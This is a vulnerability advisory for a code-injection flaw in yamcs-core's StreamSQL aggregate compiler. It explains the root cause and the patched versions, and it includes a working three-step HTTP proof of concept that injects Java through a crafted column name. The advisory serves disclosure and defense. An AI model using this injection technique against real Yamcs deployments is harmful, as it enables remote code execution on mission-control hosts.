CVE-2026-55511: yamcs-core Authenticated RCE via StreamSQL Aggregate Column-Name Injection
An authenticated Yamcs user with archive-management privileges can craft a malicious table column name that gets compiled as raw Java code by the Yamcs query engine, giving the attacker full remote…

The problem
Yamcs compiles StreamSQL aggregate expressions to Java on the fly using the Janino SimpleCompiler, with no sandbox and no class-loading restrictions. The column name passed to a sum(...) aggregate is interpolated directly into the generated Java source as a Java identifier, inside the newData(Tuple tuple) method of the compiled class.
The only sanitization applied is sanitizeName(), which replaces / and - with _ but passes every other character through verbatim, including ;, whitespace, (, ), {, }, and .. Any authenticated user holding SystemPrivilege.ControlArchiving can reach this path via POST /api/archive/{instance}:executeSql, create a table whose column name is a Java payload, and trigger compilation by running SELECT sum("<malicious column>") FROM <table>.
Proof of concept
A working proof-of-concept for CVE-2026-55511 in org.yamcs:yamcs-core, with the exact payload below.
// Step 1: create a table whose column name contains injected Java
POST /api/archive/myproject:executeSql
{"statement": "create table rce_poc(\"dummy; new java.io.File(new String(new char[]{47,116,109,112,47,121,97,109,99,115,45,114,99,101})).mkdirs(); coldummy=coldummy\" double, id int, primary key(id))"}
// Step 2: insert a row so newData() is called at least once
POST /api/archive/myproject:executeSql
{"statement": "insert into rce_poc(id, \"dummy; new java.io.File(new String(new char[]{47,116,109,112,47,121,97,109,99,115,45,114,99,101})).mkdirs(); coldummy=coldummy\") values(1, 1.0)"}
// Step 3: run the aggregate — Janino compiles and executes the injected newData()
POST /api/archive/myproject:executeSql
{"statement": "select sum(\"dummy; new java.io.File(new String(new char[]{47,116,109,112,47,121,97,109,99,115,45,114,99,101})).mkdirs(); coldummy=coldummy\") from rce_poc"}
// Result: directory /tmp/yamcs-rce created on the Yamcs host by the Yamcs JVM process.
// The char[] array encodes /tmp/yamcs-rce to avoid needing a / or " in the column name.
//
// Janino generates and compiles this class for Step 3:
//
// public class AggregateExpressionN implements CompiledAggregateExpression {
// double sum;
// public void newData(Tuple tuple) {
// Double coldummy; new java.io.File(new String(new char[]{...})).mkdirs(); coldummy=coldummy
// = (Double)tuple.getColumn("dummy; ...");
// sum+=coldummy; new java.io.File(new String(new char[]{...})).mkdirs(); coldummy=coldummy;
// }
// public Object getValue() { return sum; }
// public void clear() { sum = 0; }
// }The root cause is in Expression.java. The helper fillCode_InputDefVars emits the column name twice into generated Java source: once as a Java identifier (col<name>) and once as a string literal argument to tuple.getColumn("<name>"). Only sanitizeName() is applied to the identifier position, and it strips only / and -.
Every other metacharacter passes through, allowing a ;-terminated statement to break out of the identifier context and inject arbitrary Java statements.
The aggregate path (SumExpression.aggregateFillCode_newData) is uniquely exploitable because both column-name emissions land inside a void statement-context method (newData), and getValue() returns the accumulator sum independently. There is no return col<name> expression that would cause Janino to reject injected ;-separated statements as unreachable, which is the accidental barrier that blocks the non-aggregate expression path.
The fix in 5.13.2 (commits 8c1070b and b65a3d7) replaces the unsafe identifier-position interpolation with synthetic names (col0, col1, ...) and maps real column names only through the safe tuple.getColumn("...") string argument, which is escaped with ValueExpression.escapeJavaString.
This removes the entire class of column-name code injection from all expression types, not just sum. CWE-94 (Improper Control of Generation of Code).
The fix
Upgrade to yamcs-core 5.13.2 (or 5.12.8 for the 5.12.x line). The patch replaces raw column-name interpolation into Java identifier position with synthetic indexed names and escapes the string-literal context via ValueExpression.escapeJavaString. As defense-in-depth, consider restricting the Janino SimpleCompiler with a restrictive ClassLoader or ClassFilter so generated StreamSQL expressions cannot reach dangerous JDK APIs even if a future injection surface is found.
Related research
- critical · 9.8CVE-2026-55559CVE-2026-55559: yamcs-core Remote Code Execution via Instance Template YAML Injection
- high · 8.8CVE-2026-55521CVE-2026-55521: Yamcs Core API Multiple Missing Authorization Checks
- high · 7.5CVE-2026-55552CVE-2026-55552: Yamcs Unauthenticated Directory Traversal via Double-Slash URI
- high · 8.8CVE-2026-55771CVE-2026-55771: CedarJava EntityIdentifier Incorrect Equality Comparison